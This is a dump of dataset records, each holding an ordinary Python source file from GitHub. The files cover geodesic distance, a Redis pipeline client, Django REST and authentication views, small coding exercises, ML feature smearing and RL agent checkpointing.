iterLimit = 100;\r\n cont=True\r\n while cont:\r\n sinLambda = math.sin(_lambda)\r\n cosLambda = math.cos(_lambda)\r\n sinSigma = math.sqrt((cosU2*sinLambda) * (cosU2*sinLambda) + (cosU1*sinU2-sinU1*cosU2*cosLambda) * (cosU1*sinU2-sinU1*cosU2*cosLambda));\r\n if (sinSigma==0):\r\n return 0\r\n cosSigma = sinU1*sinU2 + cosU1*cosU2*cosLambda\r\n sigma = math.atan2(sinSigma, cosSigma)\r\n sinAlpha = cosU1 * cosU2 * sinLambda / sinSigma\r\n cosSqAlpha = 1 - sinAlpha*sinAlpha\r\n cos2SigmaM = cosSigma - 2*sinU1*sinU2/cosSqAlpha\r\n if (math.isnan(cos2SigmaM)):\r\n cos2SigmaM = 0\r\n C = f/16*cosSqAlpha*(4+f*(4-3*cosSqAlpha))\r\n lambdaP = _lambda\r\n _lambda = L + (1-C) * f * sinAlpha * (sigma + C*sinSigma*(cos2SigmaM+C*cosSigma*(-1+2*cos2SigmaM*cos2SigmaM)))\r\n iterLimit=iterLimit-1\r\n cont = abs(_lambda-lambdaP) > 1e-12 and iterLimit>0\r\n if (iterLimit==0):\r\n return NaN\r\n uSq = cosSqAlpha * (a*a - b*b) / (b*b)\r\n A = 1 + uSq/16384*(4096+uSq*(-768+uSq*(320-175*uSq)))\r\n B = uSq/1024 * (256+uSq*(-128+uSq*(74-47*uSq)))\r\n deltaSigma = B*sinSigma*(cos2SigmaM+B/4*(cosSigma*(-1+2*cos2SigmaM*cos2SigmaM)-B/6*cos2SigmaM*(-3+4*sinSigma*sinSigma)*(-3+4*cos2SigmaM*cos2SigmaM)))\r\n s = b*A*(sigma-deltaSigma)\r\n return s\r\n","repo_name":"stevefaeembra/osm2gexf","sub_path":"OSM_2_GEXF/src/distance.py","file_name":"distance.py","file_ext":"py","file_size_in_byte":2260,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"78"} +{"seq_id":"25225022442","text":"# -*- coding: utf-8 *-*\nimport sys\nimport warnings\nfrom itertools import chain, imap, izip\n\nfrom redis.exceptions import (ConnectionError, ExecAbortError, RedisError, ResponseError,\n TimeoutError, WatchError)\n\nfrom .base import RedisBase\n\n\nclass PipelineCommands(RedisBase):\n def pipeline(self, transaction=True, shard_hint=None):\n \"\"\"\n Return a new pipeline object that can queue multiple commands for\n later execution. ``transaction`` indicates whether all commands\n should be executed atomically. Apart from making a group of operations\n atomic, pipelines are useful for reducing the back-and-forth overhead\n between the client and server.\n \"\"\"\n class Pipeline(BasePipeline, self.__class__):\n \"Pipeline for the Redis class\"\n pass\n\n return Pipeline(\n self.connection_pool,\n self.response_callbacks,\n transaction,\n shard_hint)\n\n def watch(self, *names):\n \"\"\"\n Watches the values at keys ``names``, or None if the key doesn't exist\n \"\"\"\n warnings.warn(DeprecationWarning('Call WATCH from a Pipeline object'))\n\n def unwatch(self):\n \"\"\"\n Unwatches the value at key ``name``, or None of the key doesn't exist\n \"\"\"\n warnings.warn(\n DeprecationWarning('Call UNWATCH from a Pipeline object'))\n\n\nclass BasePipeline(object):\n \"\"\"\n Pipelines provide a way to transmit multiple commands to the Redis server\n in one transmission. This is convenient for batch processing, such as\n saving all the values in a list to Redis.\n\n All commands executed within a pipeline are wrapped with MULTI and EXEC\n calls. This guarantees all commands executed in the pipeline will be\n executed atomically.\n\n Any command raising an exception does *not* halt the execution of\n subsequent commands in the pipeline. Instead, the exception is caught\n and its instance is placed into the response list returned by execute().\n Code iterating over the response list should be able to deal with an\n instance of an exception as a potential value. In general, these will be\n ResponseError exceptions, such as those raised when issuing a command\n on a key of a different datatype.\n \"\"\"\n\n UNWATCH_COMMANDS = set(('DISCARD', 'EXEC', 'UNWATCH'))\n\n def __init__(self, connection_pool, response_callbacks, transaction,\n shard_hint):\n self.connection_pool = connection_pool\n self.connection = None\n self.response_callbacks = response_callbacks\n self.transaction = transaction\n self.shard_hint = shard_hint\n\n self.watching = False\n self.reset()\n\n def __enter__(self):\n return self\n\n def __exit__(self, exc_type, exc_value, traceback):\n self.reset()\n\n def __del__(self):\n try:\n self.reset()\n except Exception:\n pass\n\n def __len__(self):\n return len(self.command_stack)\n\n def reset(self):\n self.command_stack = []\n self.scripts = set()\n # make sure to reset the connection state in the event that we were\n # watching something\n if self.watching and self.connection:\n try:\n # call this manually since our unwatch or\n # immediate_execute_command methods can call reset()\n self.connection.send_command('UNWATCH')\n self.connection.read_response()\n except ConnectionError:\n # disconnect will also remove any previous WATCHes\n self.connection.disconnect()\n # clean up the other instance attributes\n self.watching = False\n self.explicit_transaction = False\n # we can safely return the connection to the pool here since we're\n # sure we're no longer WATCHing anything\n if self.connection:\n self.connection_pool.release(self.connection)\n self.connection = None\n\n def multi(self):\n \"\"\"\n Start a transactional block of the pipeline after WATCH commands\n are issued. End the transactional block with `execute`.\n \"\"\"\n if self.explicit_transaction:\n raise RedisError('Cannot issue nested calls to MULTI')\n if self.command_stack:\n raise RedisError('Commands without an initial WATCH have already '\n 'been issued')\n self.explicit_transaction = True\n\n def execute_command(self, *args, **kwargs):\n if (self.watching or args[0] == 'WATCH') and \\\n not self.explicit_transaction:\n return self.immediate_execute_command(*args, **kwargs)\n return self.pipeline_execute_command(*args, **kwargs)\n\n def immediate_execute_command(self, *args, **options):\n \"\"\"\n Execute a command immediately, but don't auto-retry on a\n ConnectionError if we're already WATCHing a variable. Used when\n issuing WATCH or subsequent commands retrieving their values but before\n MULTI is called.\n \"\"\"\n command_name = args[0]\n conn = self.connection\n # if this is the first call, we need a connection\n if not conn:\n conn = self.connection_pool.get_connection(command_name,\n self.shard_hint)\n self.connection = conn\n try:\n conn.send_command(*args)\n return self.parse_response(conn, command_name, **options)\n except (ConnectionError, TimeoutError) as e:\n conn.disconnect()\n if not conn.retry_on_timeout and isinstance(e, TimeoutError):\n raise\n # if we're not already watching, we can safely retry the command\n try:\n if not self.watching:\n conn.send_command(*args)\n return self.parse_response(conn, command_name, **options)\n except ConnectionError:\n # the retry failed so cleanup.\n conn.disconnect()\n self.reset()\n raise\n\n def pipeline_execute_command(self, *args, **options):\n \"\"\"\n Stage a command to be executed when execute() is next called\n\n Returns the current Pipeline object back so commands can be\n chained together, such as:\n\n pipe = pipe.set('foo', 'bar').incr('baz').decr('bang')\n\n At some other point, you can then run: pipe.execute(),\n which will execute all commands queued in the pipe.\n \"\"\"\n self.command_stack.append((args, options))\n return self\n\n def _execute_transaction(self, connection, commands, raise_on_error):\n cmds = chain([(('MULTI',), {})], commands, [(('EXEC',), {})])\n all_cmds = connection.pack_commands([args for args, _ in cmds])\n connection.send_packed_command(all_cmds)\n errors = []\n\n # parse off the response for MULTI\n # NOTE: we need to handle ResponseErrors here and continue\n # so that we read all the additional command messages from\n # the socket\n try:\n self.parse_response(connection, '_')\n except ResponseError:\n errors.append((0, sys.exc_info()[1]))\n\n # and all the other commands\n for i, command in enumerate(commands):\n try:\n self.parse_response(connection, '_')\n except ResponseError:\n ex = sys.exc_info()[1]\n self.annotate_exception(ex, i + 1, command[0])\n errors.append((i, ex))\n\n # parse the EXEC.\n try:\n response = self.parse_response(connection, '_')\n except ExecAbortError:\n if self.explicit_transaction:\n self.immediate_execute_command('DISCARD')\n if errors:\n raise errors[0][1]\n raise sys.exc_info()[1]\n\n if response is None:\n raise WatchError(\"Watched variable changed.\")\n\n # put any parse errors into the response\n for i, e in errors:\n response.insert(i, e)\n\n if len(response) != len(commands):\n self.connection.disconnect()\n raise ResponseError(\"Wrong number of response items from \"\n \"pipeline execution\")\n\n # find any errors in the response and raise if necessary\n if raise_on_error:\n self.raise_first_error(commands, response)\n\n # We have to run response callbacks manually\n data = []\n for r, cmd in izip(response, commands):\n if not isinstance(r, Exception):\n args, options = cmd\n command_name = args[0]\n if command_name in self.response_callbacks:\n r = self.response_callbacks[command_name](r, **options)\n data.append(r)\n return data\n\n def _execute_pipeline(self, connection, commands, raise_on_error):\n # build up all commands into a single request to increase network perf\n all_cmds = connection.pack_commands([args for args, _ in commands])\n connection.send_packed_command(all_cmds)\n\n response = []\n for args, options in commands:\n try:\n response.append(\n self.parse_response(connection, args[0], **options))\n except ResponseError:\n response.append(sys.exc_info()[1])\n\n if raise_on_error:\n self.raise_first_error(commands, response)\n return response\n\n def raise_first_error(self, commands, response):\n for i, r in enumerate(response):\n if isinstance(r, ResponseError):\n self.annotate_exception(r, i + 1, commands[i][0])\n raise r\n\n def annotate_exception(self, exception, number, command):\n cmd = unicode(' ').join(imap(unicode, command))\n msg = unicode('Command # %d (%s) of pipeline caused error: %s') % (\n number, cmd, unicode(exception.args[0]))\n exception.args = (msg,) + exception.args[1:]\n\n def parse_response(self, connection, command_name, **options):\n from .client import StrictRedis\n result = StrictRedis.parse_response(\n self, connection, command_name, **options)\n if command_name in self.UNWATCH_COMMANDS:\n self.watching = False\n elif command_name == 'WATCH':\n self.watching = True\n return result\n\n def load_scripts(self):\n # make sure all scripts that are about to be run on this pipeline exist\n scripts = list(self.scripts)\n immediate = self.immediate_execute_command\n shas = [s.sha for s in scripts]\n # we can't use the normal script_* methods because they would just\n # get buffered in the pipeline.\n exists = immediate('SCRIPT', 'EXISTS', *shas, **{'parse': 'EXISTS'})\n if not all(exists):\n for s, exist in izip(scripts, exists):\n if not exist:\n s.sha = immediate('SCRIPT', 'LOAD', s.script,\n **{'parse': 'LOAD'})\n\n def execute(self, raise_on_error=True):\n \"Execute all the commands in the current pipeline\"\n stack = self.command_stack\n if not stack:\n return []\n if self.scripts:\n self.load_scripts()\n if self.transaction or self.explicit_transaction:\n execute = self._execute_transaction\n else:\n execute = self._execute_pipeline\n\n conn = self.connection\n if not conn:\n conn = self.connection_pool.get_connection('MULTI',\n self.shard_hint)\n # assign to self.connection so reset() releases the connection\n # back to the pool after we're done\n self.connection = conn\n\n try:\n return execute(conn, stack, raise_on_error)\n except (ConnectionError, TimeoutError) as e:\n conn.disconnect()\n if not conn.retry_on_timeout and isinstance(e, TimeoutError):\n raise\n # if we were watching a variable, the watch is no longer valid\n # since this connection has died. raise a WatchError, which\n # indicates the user should retry his transaction. If this is more\n # than a temporary failure, the WATCH that the user next issues\n # will fail, propegating the real ConnectionError\n if self.watching:\n raise WatchError(\"A ConnectionError occured on while watching \"\n \"one or more keys\")\n # otherwise, it's safe to retry since the transaction isn't\n # predicated on any state\n return execute(conn, stack, raise_on_error)\n finally:\n self.reset()\n\n def watch(self, *names):\n \"Watches the values at keys ``names``\"\n if self.explicit_transaction:\n raise RedisError('Cannot issue a WATCH after a MULTI')\n return self.execute_command('WATCH', *names)\n\n def unwatch(self):\n \"Unwatches all previously specified keys\"\n return self.watching and self.execute_command('UNWATCH') or True\n\n def script_load_for_pipeline(self, script):\n \"Make sure scripts are loaded prior to pipeline execution\"\n # we need the sha now so that Script.__call__ can use it to run\n # evalsha.\n if not script.sha:\n script.sha = self.immediate_execute_command('SCRIPT', 'LOAD',\n script.script,\n **{'parse': 'LOAD'})\n self.scripts.add(script)\n","repo_name":"hwms/niceredis","sub_path":"niceredis/client/pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":13781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"27322781213","text":"def solution(routes):\n answer = 0\n \n routes_end = sorted(routes, key = lambda x : x[1])\n pre = -300001\n \n for start, end in routes_end:\n\n if pre >= start: continue\n pre = end\n answer += 1\n \n \n return answer","repo_name":"rheew/algorithm","sub_path":"greedy/camera.py","file_name":"camera.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"38101778123","text":"from ..serializers import (ProductSerializer)\nfrom ..models import Product\nfrom rest_framework import generics\nfrom rest_framework.response import Response\nfrom rest_framework import status\n\n\nclass ProductAPIView(generics.ListCreateAPIView):\n serializer_class = ProductSerializer\n queryset = Product.objects.all()\n # Récupération des produits\n def get_queryset(self):\n available_on_website = self.request.query_params.get(\n \"available_on_website\", None\n )\n product_category_id = self.request.query_params.get(\"product_category_id\", None)\n if product_category_id:\n if available_on_website:\n product = Product.objects.filter(\n available_on_website=available_on_website,\n product_category_id=product_category_id,\n )\n return product\n else:\n product = Product.objects.filter(\n product_category_id=product_category_id\n )\n return product\n # conditions produit doit être disponible pour le site \n elif available_on_website:\n product = Product.objects.filter(available_on_website=available_on_website)\n return product\n\n else:\n return super().get_queryset()\n # ajout d'un produit\n def post(self, request, format=None):\n\n serializer = ProductSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(status=status.HTTP_201_CREATED)\n # suppresion d'un produit ayant l'id pk\n def delete(self, request,pk, format=None):\n import pdb\n pdb.set_trace()\n snippet = Product.objects.filter(id=pk)\n snippet.delete()\n return Response(status=status.HTTP_204_NO_CONTENT)\n # modification d'un produit \n def put(self, request,format=None):\n \n snippet = Product.objects.get(name=request.data['name'])\n serializer = ProductSerializer(snippet, data=request.data)\n \n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data,status=status.HTTP_202_ACCEPTED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n","repo_name":"GregoireAntoine/DevWeb","sub_path":"boulangerie/boulangerie/API/productapi.py","file_name":"productapi.py","file_ext":"py","file_size_in_byte":2277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"14293919610","text":"from cashdesk import Bill, BatchBill, CashDesk\n\nvalues = [10, 20, 50, 100, 100, 100]\nbills = [Bill(value) for value in values]\n\nbatch = BatchBill(bills)\n\ndesk = CashDesk()\n\ndesk.take_money(batch)\ndesk.take_money(Bill(10))\n\nprint(desk.total()) # 390\n# print(desk.inspect())\n\n# We have a total of 390$ in the desk\n# We have the following count of bills, sorted in ascending order:\n# 10$ bills - 2\n# 20$ bills - 1\n# 50$ bills - 1\n# 100$ bills - 3\n","repo_name":"plamenlazarov/hackbulgaria","sub_path":"week03/01-Cash-Desk/bills.py","file_name":"bills.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"43478151868","text":"#!/usr/bin/env python3\r\nfrom string import punctuation\r\nimport sys\r\n\r\n\r\ndef load_score_dict(dict_file='sentiment.txt'):\r\n \"\"\"\r\n C'mon over here and give me a file, boi\r\n :param dict_file: A file from which to parse\r\n :return: A parsed file\r\n \"\"\"\r\n if type(dict_file) is dict:\r\n return dict_file # This is assuming the dictionary is properly formatted\r\n\r\n else:\r\n with open(dict_file, 'r') as given:\r\n dict_score = {}\r\n for line in given:\r\n if line.strip(): # Ignores blank lines\r\n word, value = line.split(None, 1) # Splits lines into desired vars\r\n dict_score[word] = value.split() # Updates dict_score to follow the word [value] format\r\n if word == '#':\r\n del dict_score['#'] # Gets rid of those nasty sharp bois\r\n return dict_score\r\n\r\n\r\ndef get_words(sentence):\r\n \"\"\"\r\n This should return an iterable of unique words in string\r\n :param sentence: A string representing a sentence\r\n :return: An iterable of the unique words in a string\r\n \"\"\"\r\n # Cut those puncs out of your life, they're a bad influence.\r\n no_puncs = sentence.translate(str.maketrans('', '', punctuation))\r\n return set(no_puncs.split()) # Makes a set of the original sentence, sans puncs.\r\n\r\n\r\ndef score_sentence(sentence, score_dict):\r\n \"\"\"\r\n Takes two args and returns the total score?\r\n :param sentence: A string representing a sentence\r\n :param score_dict: A \"score dictionary\"\r\n :return: A sum of the corresponding scores from each unique word\r\n \"\"\"\r\n checksent = get_words(sentence)\r\n dict_boi = load_score_dict(score_dict)\r\n score = []\r\n for i in checksent:\r\n if i in dict_boi:\r\n score.append(dict_boi.get(i))\r\n # elif i in dict_boi:\r\n # pass\r\n sentscore = sum(score)\r\n return sentscore\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n try:\r\n comm_int = score_sentence(sys.argv[1], ())\r\n if comm_int >> 0:\r\n print('Positive')\r\n elif comm_int << 0:\r\n print('Negative')\r\n elif comm_int == 0:\r\n print('Neutral')\r\n except FileNotFoundError:\r\n print('Please give me a filename to play with next time')\r\n","repo_name":"gadi42/499workspace","sub_path":"Lab3/sentiment.py","file_name":"sentiment.py","file_ext":"py","file_size_in_byte":2295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"16599688144","text":"import numpy as np\nimport torch \n\ndef gaussian_smearing(distances, offset, widths, centered=False):\n r\"\"\"Smear interatomic distance values using Gaussian functions.\n\n Args:\n distances (torch.Tensor): interatomic distances of (N_b x N_at x N_nbh) shape.\n offset (torch.Tensor): offsets values of Gaussian functions.\n widths: width values of Gaussian functions.\n centered (bool, optional): If True, Gaussians are centered at the origin and\n the offsets are used to as their widths (used e.g. for angular functions).\n\n Returns:\n torch.Tensor: smeared distances (N_b x N_at x N_nbh x N_g).\n\n \"\"\"\n if not centered:\n # compute width of Gaussian functions (using an overlap of 1 STDDEV)\n coeff = -0.5 / widths**2\n # torch (grad) compatible expansion of indices\n offset = offset.reshape(1, 1, -1)\n if isinstance(distances, torch.Tensor):\n offset = torch.tensor(offset, device=distances.device)\n offset = offset.repeat(distances.shape[0], distances.shape[1], 1)\n diff = distances.unsqueeze(-1).expand((-1, -1, offset.shape[-1])) - offset\n else:\n diff = distances[:, :, None] - offset\n\n else:\n # if Gaussian functions are centered, use offsets to compute widths\n coeff = -0.5 / offset**2\n # if Gaussian functions are centered, no offset is subtracted\n diff = distances.tile((1 ,1, offset.shape[0]))\n # compute smear distance values\n if isinstance(distances, torch.Tensor):\n coeff = torch.tensor(coeff, dtype=torch.float32, device=distances.device)\n return torch.exp(coeff*diff**2)\n\n gauss = np.exp(coeff * np.power(diff, 2))\n return gauss\n\n\nclass GaussianSmearing(object):\n r\"\"\"Smear layer using a set of Gaussian functions.\n\n Parameters\n ----------\n start: (float, optional)\n center of first Gaussian function, :math:`\\mu_0`.\n stop: (float, optional)\n center of last Gaussian function, :math:`\\mu_{N_g}`\n n_gaussians: (int, optional)\n total number of Gaussian functions, :math:`N_g`.\n\n width_factor: float, optional (default: 1.5)\n adjust the SD of gaussians.\n this is a constant factor multiplied by the bin width\n\n centered: (bool, optional)\n If True, Gaussians are centered at the origin and\n the offsets are used to as their widths (used e.g. for angular functions).\n margin: int\n The margin helps with the symmetric labels like angles. The margin specifies the\n number of bins to transfer to the head/tail of the bins from the other end.\n if zero, it will be skipped.\n\n normalize: bool, optional (default: False)\n if normalize final output of gaussians (divide by sum)\n\n \"\"\"\n\n def __init__(\n self, start=0.0, stop=5.0, n_gaussians=50, margin=0,\n width_factor=1.5, centered=False, normalize=False\n ):\n\n # add margin\n self.margin = margin\n if margin > 0 :\n extra_domain = (stop - start)/n_gaussians * margin\n # self.upper_limit = stop - extra_domain\n # self.lower_limit = start + extra_domain\n start -= extra_domain\n stop += extra_domain\n n_gaussians += int(2*margin)\n\n\n # compute offset and width of Gaussian functions\n offsets = np.linspace(start, stop, n_gaussians, endpoint=False) #cyclic\n widths = width_factor * (offsets[1] - offsets[0]) * np.ones_like(offsets)\n\n self.offsets = offsets\n self.widths = widths\n self.centered = centered\n self.normalize = normalize\n\n def forward(self, features):\n \"\"\"Compute smeared-gaussian distance values.\n\n Parameters\n ----------\n features: ndarray\n raw feature values of (batch_size, n_features) shape.\n\n Returns\n -------\n np.ndarray: layer output of (batch_size, n_features, n_gaussians) shape.\n\n \"\"\"\n x = gaussian_smearing(\n features, self.offsets, self.widths, centered=self.centered\n )\n\n if isinstance(features, torch.Tensor):\n if self.margin > 0:\n helper_right = x[:, :, -self.margin:] + x[:, :, self.margin:2*self.margin]\n helper_left = x[:, :, :self.margin] + x[:, :, -2*self.margin:-self.margin]\n x = torch.cat([helper_right, x[:, :, 2*self.margin:-2*self.margin],\n helper_left], dim=-1)\n \n if self.normalize:\n x = x / torch.sum(x, axis=-1)[..., None]\n return x\n\n if self.margin > 0:\n # mask_right = features>= self.upper_limit\n x[:, :, self.margin:2*self.margin] += x[:, :, -self.margin:]\n\n # mask_left = features<= self.lower_limit\n x[:, :, -2*self.margin:-self.margin] += x[:, :, :self.margin]\n x = x[:, :, self.margin:-self.margin]\n if self.normalize:\n x = x / x.sum(axis=-1)[..., None]\n return x\n","repo_name":"THGLab/DynamICE","sub_path":"dynamice/utils/gaussian_smearing.py","file_name":"gaussian_smearing.py","file_ext":"py","file_size_in_byte":5049,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"30451697884","text":"from pathlib import Path\nfrom typing import Union, Tuple\n\nimport torch\n\nfrom deep_rl.agent import Agent, DQNAgent, DDPGAgent, MADDPGAgent\n\n\ndef _add_index(checkpoint, i):\n return Path(str(checkpoint).replace(\".pth\", f\"{i}.pth\"))\n\n\ndef save(agent: Agent, filename: Union[str, Path, Tuple[Path, Path]]):\n if isinstance(agent, DQNAgent):\n torch.save(agent.qnetwork_local.state_dict(), filename)\n elif isinstance(agent, DDPGAgent):\n actor_checkpoint, critic_checkpoint = filename\n torch.save(agent.actor_local.state_dict(), actor_checkpoint)\n torch.save(agent.critic_local.state_dict(), critic_checkpoint)\n elif isinstance(agent, MADDPGAgent):\n actor_checkpoint, critic_checkpoint = filename\n for i, ddpg_agent in enumerate(agent.agents, start=1):\n torch.save(\n ddpg_agent.actor_local.state_dict(),\n _add_index(actor_checkpoint, i),\n )\n torch.save(\n ddpg_agent.critic_local.state_dict(),\n _add_index(critic_checkpoint, i),\n )\n else:\n raise NotImplementedError\n\n\ndef load(agent: Agent, filename: Union[str, Path, Tuple[Path, Path]]):\n if isinstance(agent, DQNAgent):\n state_dict = torch.load(filename)\n agent.qnetwork_local.load_state_dict(state_dict)\n elif isinstance(agent, DDPGAgent):\n actor_checkpoint, critic_checkpoint = filename\n agent.actor_local.load_state_dict(torch.load(actor_checkpoint))\n agent.critic_local.load_state_dict(torch.load(critic_checkpoint))\n elif isinstance(agent, MADDPGAgent):\n actor_checkpoint, critic_checkpoint = filename\n for i, ddpg_agent in enumerate(agent.agents, start=1):\n ddpg_agent.actor_local.load_state_dict(\n torch.load(_add_index(actor_checkpoint, i))\n )\n ddpg_agent.critic_local.load_state_dict(\n torch.load(_add_index(critic_checkpoint, i))\n )\n else:\n raise NotImplementedError\n","repo_name":"daniel-m-campos/deep_rl","sub_path":"src/deep_rl/agent_io.py","file_name":"agent_io.py","file_ext":"py","file_size_in_byte":2029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"18658657049","text":"from pixiedust.display.app import route\nfrom pixiedust.utils import Logger\nfrom ..components import PDButton\nfrom . import WMLMessage\n\n@Logger()\nclass WMLModelDetail(WMLMessage):\n @route(widget=\"WMLModelDetail\")\n def wmlModelDetail(self):\n wrapperid = 'pd_app' + self.getPrefix()\n if not hasattr(self, 'currentmodel') or not self.currentmodel:\n self.renderMessage(message='A Model is required', targetid=wrapperid, btnid='modelerror')\n else:\n PDButton.__init__(self)\n props = [item for item in self.currentmodel.meta.available_props() if (item != \"inputDataSchema\" and item !=\"trainingDataSchema\")]\n rows = []\n for prop in props:\n rows.append({ 'prop': prop, 'value': self.currentmodel.meta.prop(prop) })\n self._pdtable = {\n 'columns': ['prop', 'value'],\n 'rows': rows,\n 'header': False\n }\n return \"\"\"\n
    Details of Model: {}
    \n
    \n
    \n
    \n
    \n
    \n \nself._pdbutton['btnid']='gotomodels'\nself._pdbutton['label']='Return to Models'\nself._pdbutton['classes']='btn btn-default btn-primary btn-back'\nself._pdbutton['targetid']='{}'\n \n
    \n
    \n \nself._pdbutton['btnid']='gotoform'\nself._pdbutton['label']='Download this Model'\nself._pdbutton['classes']='btn btn-default btn-primary btn-download'\nself._pdbutton['targetid']='{}'\n \n
    \n
    \n\"\"\".format(self.currentmodel.name, wrapperid, wrapperid)\n","repo_name":"pixiedust/pixiedust_ibm","sub_path":"pixiedust_ibm/views/WMLModelDetail.py","file_name":"WMLModelDetail.py","file_ext":"py","file_size_in_byte":1720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29629908129","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.forms import inlineformset_factory\nfrom django.contrib.auth.forms import UserCreationForm\n\n# Create your views here.\nfrom django.contrib.auth.models import Group\nfrom django.contrib.auth import authenticate, login, logout\nfrom Apps.worker.models import worker, job\nfrom .forms import *\nfrom django.contrib.auth.decorators import login_required\nfrom .decorators import user_auth, allowed_users\nfrom django.shortcuts import redirect\nfrom django.contrib import messages\n\n# |-----| |-----| |-----| DASHBOARD DE INICIO |-----| |-----| |-----|\n# |-----| View que permite visualizar la página de inicio al |-----| \n# |-----| estar logueado correctamente. |-----|\n# |-----------------------------------------------------------|\n@login_required(login_url='workerLogin')\ndef homeDashboard(request):\n context = {'home': 'active'}\n return render(request, 'dashboard.html', context)\n\n# |-----------------------------------------------------------|\n# |-| Este apartado cuenta con la lista de trabajadores |-|\n# |-| registrados en el sistema, solo podrá visualizarse |-|\n# |-| con permisos de administrador. |-|\n# |-----------------------------------------------------------|\n@login_required(login_url='workerLogin')\n@allowed_users(allowed_roles=['admin'])\ndef workerList(request):\n Workers = worker.objects.all()\n context = {'workerList': 'active', 'workers':Workers}\n return render(request, 'worker/list.html', context)\n\n# |-----| |-----| |-----| PERFIL DEL USUARIO |-----| |-----| |-----|\n# |-----| Permitirá la visualización de los perfiles de los |-----| \n# |-----| usuarios. |-----|\n# |-----------------------------------------------------------|\n@login_required(login_url='workerLogin')\ndef workerProfile(request):\n Job = job.objects.filter(jobWorker = request.user.worker.pk)\n HasJob = False\n if job.objects.filter(jobWorker = request.user.worker.pk).count()>0:\n HasJob = True\n context = {'workerProfile': 'active', 'job': Job, 'hasJob': HasJob}\n return render(request, 'worker/profile.html', context)\n\n# |-----| |-----| |-----| LOGIN DE USUARIO |-----| |-----| |-----|\n# |-----| Página que permitirá el inicio de sesión del usuario. |-----|\n# |-----------------------------------------------------------|\n@user_auth\ndef workerLogin(request):\n \n if request.method == 'POST':\n username = request.POST.get('username')\n password = request.POST.get('password')\n \n user = authenticate(request, username=username, password=password)\n \n if user is not None:\n login(request, user)\n text = 'Welcome back ' + request.user.worker.workerNameFirst\n messages.success(request, text)\n return redirect('home')\n else:\n messages.info(request, 'Username OR password is incorrect')\n \n context = {}\n return render(request, 'worker/login.html', context)\n\n# |-----| |-----| |-----| FORMULARIO DE REGISTRO|-----| |-----| |-----|\n# |-----| Mediante este se permitirá el registro de nuevos |-----| \n# |-----| usuarios, tomando en cuenta que estarán asociados |-----|\n# |-----| a una cuenta de django.contrib. |-----|\n# |-----------------------------------------------------------|\n@user_auth\ndef workerRegister(request):\n \n form = CreateUserForm()\n if request.method == 'POST':\n form = CreateUserForm(request.POST)\n \n text = 'Please, sign in'\n messages.success(request, text)\n if form.is_valid():\n user = form.save()\n username = form.cleaned_data.get('username')\n email = form.cleaned_data.get('username')\n first_name = form.cleaned_data.get('first_name')\n last_name = form.cleaned_data.get('last_name')\n \n group = Group.objects.get(name='worker')\n user.groups.add(group)\n \n worker.objects.create(\n user = user,\n workerEmail = user.username,\n workerNickname = user.username,\n workerNameFirst = user.first_name,\n workerNameLast = user.last_name,\n )\n \n context = {'workerRegister': 'active', 'form': form}\n return render(request, 'worker/register.html', context)\n\n# |-----| |-----| |-----| CIERRE DE SESIÓN |-----| |-----| |-----|\n# |-----------------------------------------------------------|\ndef workerLogout(request):\n logout(request)\n return redirect('workerLogin')","repo_name":"USMEX/Stock-System","sub_path":"apps/worker/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42504186327","text":"# 照片物件 包含路徑與姓名\nclass video():\n def __init__(self,id, videoUrl , classId , className , date , isRecoged , classNo , name):\n self.videoUrl = videoUrl # 封面照片路徑\n self.id = id\n self.isRecoged = isRecoged\n self.classId = classId\n self.className = className\n self.date = date\n self.classNo = classNo\n self.name = name","repo_name":"yalin1997/faceRecog","sub_path":"flaskClass/videoClass.py","file_name":"videoClass.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21239636732","text":"#!/usr/bin/env python\n\n\n__author__ = 'Greg Albrecht '\n__copyright__ = 'Copyright 2013 OnBeep, Inc.'\n__license__ = 'Apache License 2.0'\n\n\nimport distutils\n\n\ndistutils.core.setup(\n name='keenut',\n version='0.1.0',\n packages=[''],\n url='http://github.com/ampledata/keenut',\n license='Apache License 2.0',\n author='Greg Albrecht',\n author_email='gba@onbeep.com',\n description='Utilities for collecting metrics from NUTs using Keen.io',\n entry_points={'console_scripts': ['keenut = keenut.cli:main']},\n install_requires=['PyNUT', 'keen']\n)\n","repo_name":"ampledata/keenut","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"34222472630","text":"# -*- coding:utf-8 -*-\n'''\nCreated on 2018年11月01日\n@author: songzj\n@version: 1.0.0\nuseage:\n python get_file_time.py 目的文件夹或文件\n e.g.\n python get_file_time.py D:\\ssdftp\\iis\\ftp\n 获取D:\\ssdftp\\iis\\ftp目录及子目录下最新的文件,打印该文件名及创建、最后修改时间\n'''\nimport time\nimport os\nimport sys\n\ndef listdir(path, list_name): #传入存储的list\n for file in os.listdir(path):\n file_path = os.path.join(path, file)\n if os.path.isdir(file_path):\n listdir(file_path, list_name)\n else:\n list_name.append((file_path,os.path.getctime(file_path)))\n\ndef 